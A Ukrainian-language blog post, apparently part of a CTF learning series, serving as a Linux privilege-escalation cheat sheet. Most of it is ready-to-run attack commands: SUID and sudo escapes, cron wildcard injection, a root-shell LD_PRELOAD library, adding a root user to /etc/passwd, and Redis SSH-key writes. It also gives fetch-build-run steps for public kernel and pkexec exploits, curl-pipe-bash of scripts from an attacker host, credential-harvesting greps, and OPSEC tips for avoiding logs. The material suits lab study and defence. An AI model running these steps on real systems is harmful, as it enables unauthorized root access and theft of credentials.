// LOG #25: Linux Privilege Escalation — reference-довідник

// LOG #25: Linux Privilege Escalation — reference-довідник

Юний поціновувач кібернетичних наук

У постах #9 (Anonymous, cron privesc), #15 (SUID systemctl), #19 (SUID python, cron writable), #20 (PATH hijacking) — я показав різні privesc-техніки на реальних машинах. Тепер хочу зібрати ВСЕ в один reference-довідник, до якого сам повертатимусь. Плюс велика база Linux kernel LPE — у форматі «нахилив голову, ідеш по списку».

>> Перші 30 секунд після shell

Отримав shell — не кидайся одразу шукати експлойти. Зроби розвідку. Ось точний checklist, який відпрацьовую на кожній машині:

id; whoami; hostname; uname -a          # хто я, ядро
sudo -l 2>/dev/null                     # sudo без пароля?
find / -perm -4000 -type f 2>/dev/null  # SUID root
getcap -r / 2>/dev/null                 # capabilities
cat /etc/crontab; ls -la /etc/cron.*/*  # cron від root
mount | grep -iE 'nfs|nosuid|noexec'    # NFS / mount
cat /etc/passwd | grep -v nologin       # хто має shell
ps -ef | grep root                       # root процеси

Або автоматика — LinPEAS зробить це і ще 500 перевірок за 2 хв:

curl -sL http://<LHOST>/linpeas.sh | bash

>> Вектор 1: sudo (найшвидший)

sudo -l — найперша команда після shell. Дає карту дозволеного через sudo без пароля. Три сценарії залежно від виводу:

  • (ALL) NOPASSWD: ALL — миттєвий root: sudo -i (як на Pickle Rick #15);
  • (ALL) NOPASSWD: /path/binary — GTFOBins для цього бінарника (vim, find, awk, tar, less, systemctl, python — усі мають shell-escape);
  • env_keep += LD_PRELOAD — LD_PRELOAD-атака (нижче).

CVE-2019-14287 (sudo runas -1): якщо в правилах є (ALL, !root) — обхід через `sudo -u#-1 /bin/bash` дає uid=0. Класика 2019.

>> Вектор 2: SUID/SGID бінарники

SUID-біт: бінарник запускається з правами ВЛАСНИКА, а не запускача. Якщо власник root — і бінарник має shell escape — ти root. Пошук:

find / -perm -4000 -type f 2>/dev/null   # SUID
find / -perm -2000 -type f 2>/dev/null   # SGID

Стандартні SUID (passwd, sudo, mount, ping) не цікаві — вони мають захист. Цікаві — нестандартні: vim, find, awk, tar, python, node, cp, less, systemctl (як Vulnversity #15), і будь-який кастомний бінарник типу /usr/bin/menu (як Kenobi #20).

Головний ресурс — GTFOBins (реально відкритий на всіх engagement-ах). Шукаєш назву бінарника — маєш рецепт escape. Формат сторінки:

  • Shell — прямий shell escape;
  • SUID — команда для експлуатації SUID-версії;
  • Sudo — команда для sudo-версії;
  • File read/write — читання/запис файлів під SUID.

Механіка популярних SUID-escape (щоб розуміти, а не просто копіювати):

  • vim/nano/less/more — інтерактивні редактори мають shell escape (:!cmd, ^R^X). Оскільки процес під SUID root, cmd теж біжить як root;
  • find — має -exec, який виконує довільну команду для кожного знайденого файлу: find / -exec /bin/sh -p \;;
  • awk/gawk — BEGIN {system("cmd")}: гнучкий інтерпретатор;
  • python/perl/ruby/node — os.setuid(0) + os.system() (setuid потрібен бо euid=0 але uid=user);
  • tar/cp/dd — read/write arbitrary files (для read /etc/shadow або overwrite /etc/passwd);
  • systemctl — link malicious .service (як Vulnversity #15);
  • docker — docker run --rm -it -v /:/mnt alpine chroot /mnt sh;
  • wget/curl — можуть writenfile через --post-file до себе; або --output-document для читання;
  • install/rsync/git — не очевидні, але GTFObins має рецепти.

Ключовий момент про suid: коли ти запускаєш SUID root бінарник, твій effective UID стає 0, але real UID лишається твоїм. Тому у shell-скриптах треба `bash -p` (preserve privileges), інакше bash сам скидає euid до real uid для безпеки. Для python — явний os.setuid(0).

>> Вектор 3: capabilities (тонше за SUID)

Linux capabilities — розбиття root-повноважень на дрібніші права. Бінарник без SUID, але з `cap_setuid+ep` — дає root так само:

getcap -r / 2>/dev/null
# ~/python3 = cap_setuid+ep  <-- ТУТ
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

Ключові capabilities, які = root:

  • cap_setuid — можна викликати setuid(0);
  • cap_dac_read_search — читати будь-які файли (напр. /etc/shadow);
  • cap_dac_override — писати куди завгодно;
  • cap_sys_admin — фактично root (mount, mknod, etc);
  • cap_sys_ptrace — інджект у процеси;
  • cap_chown — chown куди завгодно.

>> Вектор 4: cron (writable script)

root-cron виконує скрипт, який ти можеш редагувати — миттєвий root. Пошук:

cat /etc/crontab
ls -la /etc/cron.hourly /etc/cron.daily /etc/cron.d/
ls -la /var/spool/cron/crontabs/

Три підвиди:

  • Writable script — дописуєш свою команду і чекаєш (як Anonymous #9, Startup #19);
  • Writable PATH у cron — cron викликає бінарник без повного шляху, а твоя папка перша в PATH;
  • Wildcard injection — cron із `tar cf * ` або `rsync *` дозволяє підсунути файл із іменем як опція.

Підвид 1 — writable script (класика):

# файл /opt/backup.sh належить root, права 777 (або group writable)
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /opt/backup.sh
# чекаємо cron -> /tmp/rb -p дає root shell
/tmp/rb -p    # -p зберігає euid=0

Підвид 2 — writable PATH у cron:

cat /etc/crontab
# PATH=/home/user:/usr/bin  <-- юзер у PATH!
# * * * * * root overwrite.sh   (без повного шляху)
cd /home/user && cat > overwrite.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/r; chmod +s /tmp/r
EOF
chmod +x overwrite.sh

Підвид 3 — wildcard injection (найелегантніший) — cron виконує `tar czf /backup.tgz *` у папці, куди ти можеш писати. tar сприймає імена файлів як прапорці, якщо вони починаються з `-`. Trick:

cd /var/backups        # папка де cron робить tar czf * *
# кладемо файл, що виглядає як прапорець
echo 'cp /bin/bash /tmp/r; chmod +s /tmp/r' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# коли cron: tar czf backup.tgz *  -> * розкриється у shell.sh
# --checkpoint=1 --checkpoint-action=exec=sh shell.sh -> RCE як root!

Той самий трюк з rsync (`-e`), chown, chmod (`-R`), 7z. Правило: будь-який wildcard у cron від root, у папку куди ти можеш писати = privesc. GTFObins має список бінарників зі wildcard-багом.

>> Вектор 5: PATH hijacking

SUID-бінарник викликає команду БЕЗ повного шляху (`system("whoami")` замість `/usr/bin/whoami`). Ти підсовуєш свій whoami першим у PATH — виконається від root. Точно так було на Kenobi (#20) з /usr/bin/menu:

strings /usr/bin/menu | grep -E '^curl|^uname|^ifconfig'
# menu викликає 'curl' без /usr/bin/
cd /tmp; echo '#!/bin/bash' > curl; echo 'cat /root/root.txt' >> curl
chmod +x curl; export PATH=/tmp:$PATH
echo 1 | /usr/bin/menu     # root

>> Вектор 6: LD_PRELOAD / LD_LIBRARY_PATH

Динамічні бібліотеки завантажуються за LD_PRELOAD ще до виконання коду. Якщо в sudoers є `env_keep += LD_PRELOAD` — робимо власну shared object з `_init()`, який дає shell:

# ~/x.c
#include <stdio.h>
#include <stdlib.h>
void _init(){ setuid(0); system("/bin/bash -p"); }
gcc -fPIC -shared -nostartfiles -o /tmp/x.so x.c
sudo LD_PRELOAD=/tmp/x.so /usr/bin/find     # -> root shell

LD_LIBRARY_PATH подібно, але через writable path з підмінами libc-функцій.

>> Вектор 6.5: небезпечні групи (docker, lxd, disk, video, kvm)

Якщо ти в спеціальній групі — це часто equivalent root:

id    # шукаємо: docker, lxd, disk, adm, sudo, video, kvm

docker group — миттєвий root через маунт хоста в контейнер:

docker run --rm -it -v /:/mnt alpine chroot /mnt bash

Ти вже root у контейнері, а /mnt = хост-система → повний root на хості.

lxd/lxc group — те саме, але через LXC-контейнер:

lxc image import ./alpine.tar.gz --alias myimage
lxc init myimage priv -c security.privileged=true
lxc config device add priv host-root disk source=/ path=/mnt
lxc start priv && lxc exec priv /bin/sh
# у контейнері: /mnt = хост

disk group — можеш читати raw-диск (/dev/sda), витягуємо /etc/shadow:

debugfs /dev/sda1
# або витягти файл напряму:
sudo debugfs -R 'cat /etc/shadow' /dev/sda1

adm group — читання всіх логів /var/log (пошук кредів у auth.log, web-server logs). video/kvm — доступ до /dev/mem через debugfs (extraction процесів).

>> Вектор 7: NFS (root_squash + no_root_squash)

NFS-експорт з `no_root_squash` дозволяє root-клієнту писати як root на сервер. Якщо ти root у себе (наприклад у Kali) — стаєш root на цілі:

cat /etc/exports          # на сервері
# /home *(rw,no_root_squash)   <-- вразливо!
# у себе (Kali):
mount -t nfs <IP>:/home /mnt
cp /bin/bash /mnt/rb; chmod +s /mnt/rb
# на цілі: /home/rb -p    -> root

Kenobi (#20) — інший варіант: `/var *` експортовано, і файл, скопійований через ProFTPD mod_copy, потім читається через NFS (nfs-cp у userspace без mount).

>> Вектор 8: writable /etc/passwd або /etc/shadow

Класика: якщо ти можеш писати в /etc/passwd — додаєш власного root-юзера. Генеруєш пароль у форматі crypt і додаєш рядок:

openssl passwd -1 -salt xyz mypassword
# $1$xyz$rBrDAmOZbA6kxfrfQrf421
echo 'evil:$1$xyz$rBrDAmOZbA6kxfrfQrf421:0:0::/root:/bin/bash' >> /etc/passwd
su evil    # -> root

Або перезапис /etc/shadow (пароль root заміняємо на свій хеш). Dirty Pipe (нижче) дає це навіть на файли з правами тільки для root.

>> Вектор 9: kernel exploits — база LPE

Коли всі перші вектори закриті — залишається kernel. `uname -a`, мапиш на список кандидатів, компілюєш PoC, стріляєш. Ось історична база гучних LPE:

Класика (треба знати ВСІ):

  • CVE-2016-5195 Dirty COW — race у COW, дозволяє write у read-only mapping (SUID, /etc/passwd). 2.6.22 – 4.8.3. Найзнаменитіший LPE десятиліття;
  • CVE-2022-0847 Dirty Pipe — uninitialized flag у pipe merge → write у read-only файл через splice. 5.8 – 5.16.11. Overwrite /etc/passwd за 2 секунди;
  • CVE-2021-4034 PwnKit — polkit pkexec (не kernel, але завжди у чек-листі). Missing argc==0 check → argv[0]=NULL. Вразливо всі distros до 2022;
  • CVE-2021-3156 Sudo Baron Samedit — heap buffer overflow у sudo <1.9.5p2 через backslash escaping;
  • CVE-2014-3153 Towelroot — futex UAF, класика Android root.

Netfilter / nf_tables (сучасні хіти):

  • CVE-2021-22555 — heap OOB у x_tables. 2.6.19 – 5.12 (15 років!). Google kCTF winner;
  • CVE-2022-2588 — nf_tables list_del race. 3.5 – 5.18;
  • CVE-2022-32250 — nf_tables UAF. 5.8 – 5.18.1;
  • CVE-2023-32233 — nft_set_rbtree UAF, <6.3.1;
  • CVE-2024-1086 Notselwyn — double-free у nft_verdict_init. 5.14 – 6.6. УНІВЕРСАЛЬНИЙ, дуже стабільний PoC. Дефолтні Debian/Ubuntu 6.x до січня 2024.

OverlayFS (Ubuntu-класика):

  • CVE-2015-1328 — оригінальний overlayfs LPE. Ubuntu 14.04/15.04;
  • CVE-2021-3493 — overlayfs + user_ns capabilities (Ubuntu-specific);
  • CVE-2023-0386 — SUID copy_up на overlayfs, 5.11 – 6.1.9;
  • CVE-2023-2640 GameOver(lay) — Ubuntu-specific setxattr bug (Wiz Research).

eBPF verifier (потужні primitives):

  • CVE-2017-16995 — sign-extension, 4.4–4.14.8. Легендарний PoC Chompie/rlarabee;
  • CVE-2020-8835 — bounds tracking (Pwn2Own);
  • CVE-2021-3490 — ALU32 bounds (Pwn2Own).

io_uring (свіжі 2022+):

  • CVE-2022-2602 — io_uring + UNIX GC UAF (Jann Horn P0);
  • CVE-2024-0582 — UAF на unregister buffer ring. 6.4–6.7.

Filesystem/mm класика:

  • CVE-2021-33909 Sequoia — size_t→int overflow у seq_file. 3.16–5.13.4;
  • CVE-2022-0185 — fs_context integer underflow. 5.1–5.16.2;
  • CVE-2018-14634 Mutagen Astronomy — argv/envp SUID clash (RHEL/CentOS 6/7).

Свіжі 2023-2025:

  • CVE-2023-3269 StackRot — UAF у maple tree, 6.1–6.4-rc7;
  • CVE-2023-35001 — nf_tables byteorder OOB (Pwn2Own);
  • CVE-2024-27397 — nf_tables catchall timer UAF, 5.15–6.8;
  • CVE-2024-50264 — vsock UAF, 4.8–6.11 (Notselwyn);
  • CVE-2025-21756 — vsock UAF наступник, 4.9–6.13.

Специфічні (не kernel, але у списку):

  • CVE-2019-14287 — sudo runas -1 (тривіально);
  • CVE-2019-13272 — PTRACE_TRACEME parent creds (Jann Horn), <5.1.17;
  • CVE-2022-0492 — cgroup release_agent (container escape);
  • CVE-2023-22809 — sudoedit EDITOR arbitrary file write;
  • CVE-2025-32463 — sudo --host NSS bypass (свіжий).

>> Робочі PoC найгучніших LPE

DirtyPipe (CVE-2022-0847) — 5.8-5.16.11 — 30-секундний overwrite будь-якого файлу без запису прав. Принцип: uninitialized flag PIPE_BUF_FLAG_CAN_MERGE після splice() дозволяє write у page cache read-only файлу. Найшвидший метод — перезаписати /etc/passwd або SUID-бінарник:

# завантажуємо готовий PoC
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dpz
# знаходимо будь-який SUID-бінарник (тимчасово перезапишемо):
./dpz /usr/bin/su
# експлойт зробить бекап, впорсне payload, дасть root shell,
# потім відновить оригінальний бінарник. Ідеальний OPSEC.

PwnKit (CVE-2021-4034) — pkexec ≤0.120 — universal LPE на всіх distros до 2022 (Ubuntu 12.04-21.10, Debian 7-11, RHEL/CentOS 6-8, Fedora). polkit pkexec не перевіряв argc==0 → argv[0]=NULL → out-of-bounds read/write. Тривіальний exploit:

git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034 && make
./cve-2021-4034
# instant root shell

Перевірити чи вразливо: `pkexec --version` — якщо ≤0.120 і система не патчена, PwnKit працює. На вересень 2023 ще траплялося на un-patched embedded і legacy VPS.

Sudo Baron Samedit (CVE-2021-3156) — sudo <1.9.5p2, heap overflow через backslash escaping в arguments. Не тільки Linux — macOS/BSD також. Перевірка:

sudoedit -s /  2>&1 | head -1
# 'usage: sudoedit'  = не вразливо (пропатчено)
# 'sudoedit: /:...'  = ВРАЗЛИВО
# PoC: https://github.com/blasty/CVE-2021-3156

Notselwyn CVE-2024-1086 (nf_tables) — 5.14-6.6 — універсальний, вражає дефолтні Debian/Ubuntu 6.x до січня 2024. Автор Notselwyn випустив дуже стабільний PoC:

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086 && make
./exploit    # ~30 секунд до root
# передумова: unprivileged_userns_clone=1 (дефолт на Ubuntu)

Перевірити передумови на цілі:

sysctl kernel.unprivileged_userns_clone   # має бути 1
cat /proc/sys/user/max_user_namespaces    # має бути >0

GameOver(lay) CVE-2023-2640 — Ubuntu тільки — специфічний для Ubuntu 20.04/22.04/23.04 з default OverlayFS. Wiz Research виявили regression через Ubuntu backport. Дуже простий exploit — не потребує C-компіляції:

# 1. створюємо upperdir у user_ns
unshare -rm sh -c 'mkdir upper lower work merged
  mount -t overlay overlay -olowerdir=lower,upperdir=upper,workdir=work merged
  touch upper/x
  setcap cap_setuid+eip upper/x'
# 2. у merged/x тепер файл із cap_setuid як root
./upper/x -c 'import os; os.setuid(0); os.system("/bin/bash")'

>> Що ще перевірити (те, що часто забувають)

Крім 9 базових векторів є низка «дрібниць», які часто дають privesc там, де LinPEAS мовчить:

1. Bash-history і файли з кредами:

cat ~/.bash_history ~/.zsh_history ~/.mysql_history
cat /home/*/.bash_history 2>/dev/null    # інших юзерів
grep -riE 'password|passwd|secret|token' /var/www /home /opt 2>/dev/null
find / -name '.env' -o -name 'wp-config.php' -o -name 'config.php' 2>/dev/null

2. SSH-ключі, які забули видалити:

find / -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null   # чи можу дописати?
ls -la /root/.ssh/                              # 700 root - readable?

3. Процеси root із аргументами (креди у ps):

ps auxwww | grep -iE 'password|pass=|-p |secret' | grep -v grep
# часто mysql -uroot -pMyPass..., або backup-скрипти з паролями у argv

4. Environment variables:

cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|token|key'
# service accounts часто мають DB_PASSWORD у env

5. Внутрішні сервіси на localhost:

ss -tlnp 2>/dev/null | grep 127.0.0.1
# 127.0.0.1:6379 = Redis без auth (часто) -> RCE через CONFIG SET
# 127.0.0.1:11211 = Memcached -> stats items -> викачати ключі
# 127.0.0.1:9200 = Elasticsearch -> _cluster/state

Приклад Redis privesc — записати SSH-ключ через RDB dump:

redis-cli -h 127.0.0.1 CONFIG SET dir /root/.ssh/
redis-cli -h 127.0.0.1 CONFIG SET dbfilename authorized_keys
echo -e '\n\nssh-rsa AAAA...\n\n' | redis-cli -x SET k
redis-cli SAVE
ssh root@localhost -i my_key

6. Backup-архіви з правами:

find / -name '*.tar*' -o -name '*.zip' -o -name '*.bak' 2>/dev/null
# часто root залишає /root/backup.tar.gz з readable правами
# всередині — /etc/shadow, ssh keys, конфіги

7. Полiтики /etc/sudoers.d/*:

ls -la /etc/sudoers.d/    # інколи забутий *.tmp з NOPASSWD
grep -r 'NOPASSWD' /etc/sudoers* 2>/dev/null

8. Log файли для injection:

ls -la /var/log/*.log      # який лог парсить root cron?
# якщо root awk-ом парсить log куди ти пишеш -> awk injection
# або logrotate hook на writable log = RCE

>> Мапінг uname -a → кандидати

Автоматичні suggester-и:

# linux-exploit-suggester (mzet, оновлюється):
curl -sL https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh | bash
# або з uname:
./linux-exploit-suggester.sh --uname 'Linux 5.15.0-91-generic'
# linpeas.sh секція Kernel Exploits:
curl -sL https://linpeas.sh | sh 2>/dev/null | grep -A5 'Kernel'

Але автоматика false-positive: LES часто позначає fixed CVE як вразливий, бо порівнює лише upstream version. Distro (Ubuntu, RHEL) backport-ять фікси — треба перевіряти по distro tracker (Ubuntu Security, Debian Security Tracker, Red Hat CVE DB).

Топ-5 черга на сучасних Linux (2022+):

  1. PwnKit (CVE-2021-4034) — perlaks по всьому парку, pkexec ≤0.120;
  2. Dirty Pipe (CVE-2022-0847) — 5.8–5.16.11, стабільний;
  3. GameOver(lay) CVE-2023-2640 — Ubuntu 20.04/22.04/23.04 default;
  4. Notselwyn CVE-2024-1086 — 5.14–6.6, універсальний;
  5. OverlayFS CVE-2023-0386 — 5.11–6.1, generic Linux.

Шо каже HackTricks 📖

Повний бібл — це HackTricks Linux Privesc (найкращий довідник в індустрії) + вічний GTFOBins для SUID/sudo escape. Автоматика — LinPEAS і linux-exploit-suggester. База kernel PoC — lucyoa/kernel-exploits (класика) і Google kCTF submissions (свіжі, якісні). Правило номер один: НЕ компілюй PoC на цілі — це прибиває всі логи і засвічує gcc. Компілюй у lab з тим самим kernel-version через Docker.


>> Що я зрозумів для себе

  • Privesc = послідовна перевірка чек-листа: sudo → SUID → capabilities → cron → PATH → LD_PRELOAD → NFS → writable /etc → kernel.
  • Автоматика (LinPEAS) швидша, ручна перевірка точніша. Використовуй обидві.
  • sudo -l — 5 секунд перевірки, часто миттєвий root.
  • GTFOBins — обов'язковий bookmark. Кожен SUID/sudo пробуй там.
  • Capabilities тонше за SUID. Забувають getcap → пропускають privesc.
  • Writable cron-script = найшвидший privesc (як Anonymous #9, Startup #19).
  • PATH hijacking для кастомних SUID-бінарників (як Kenobi #20).
  • Kernel exploits — останній рубіж. Distro-tracker важливіший за upstream.
  • НЕ компілюй PoC на цілі. Тільки у lab з тим самим kernel.

>> Шпаргалка: перші 30 секунд

id; sudo -l; uname -a
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*/*
showmount -e localhost 2>/dev/null
ls -la /etc/passwd /etc/shadow
# автоматика:
curl -sL http://<LHOST>/linpeas.sh | bash

>> Інструмент дня

GTFOBins · HackTricks: Linux Privesc · LinPEAS · linux-exploit-suggester · lucyoa/kernel-exploits · Google kCTF submissions

GTFOBins: https://gtfobins.github.io/
HackTricks: Linux Privesc: https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html
LinPEAS: https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
linux-exploit-suggester: https://github.com/mzet-/linux-exploit-suggester
lucyoa/kernel-exploits: https://github.com/lucyoa/kernel-exploits
Google kCTF submissions: https://github.com/google/security-research/tree/master/pocs/linux

Це не пост, а reference — save it, приходь коли отримав user-shell і не знаєш куди йти. 9 векторів privesc + історична база 30+ kernel CVE в одному місці. Кавомашина мовчить, термінал працює, root на відстані sudo -l. Ростемо, username.

— з повагою ваш Юний поціновувач кібернетичних наук

Report Page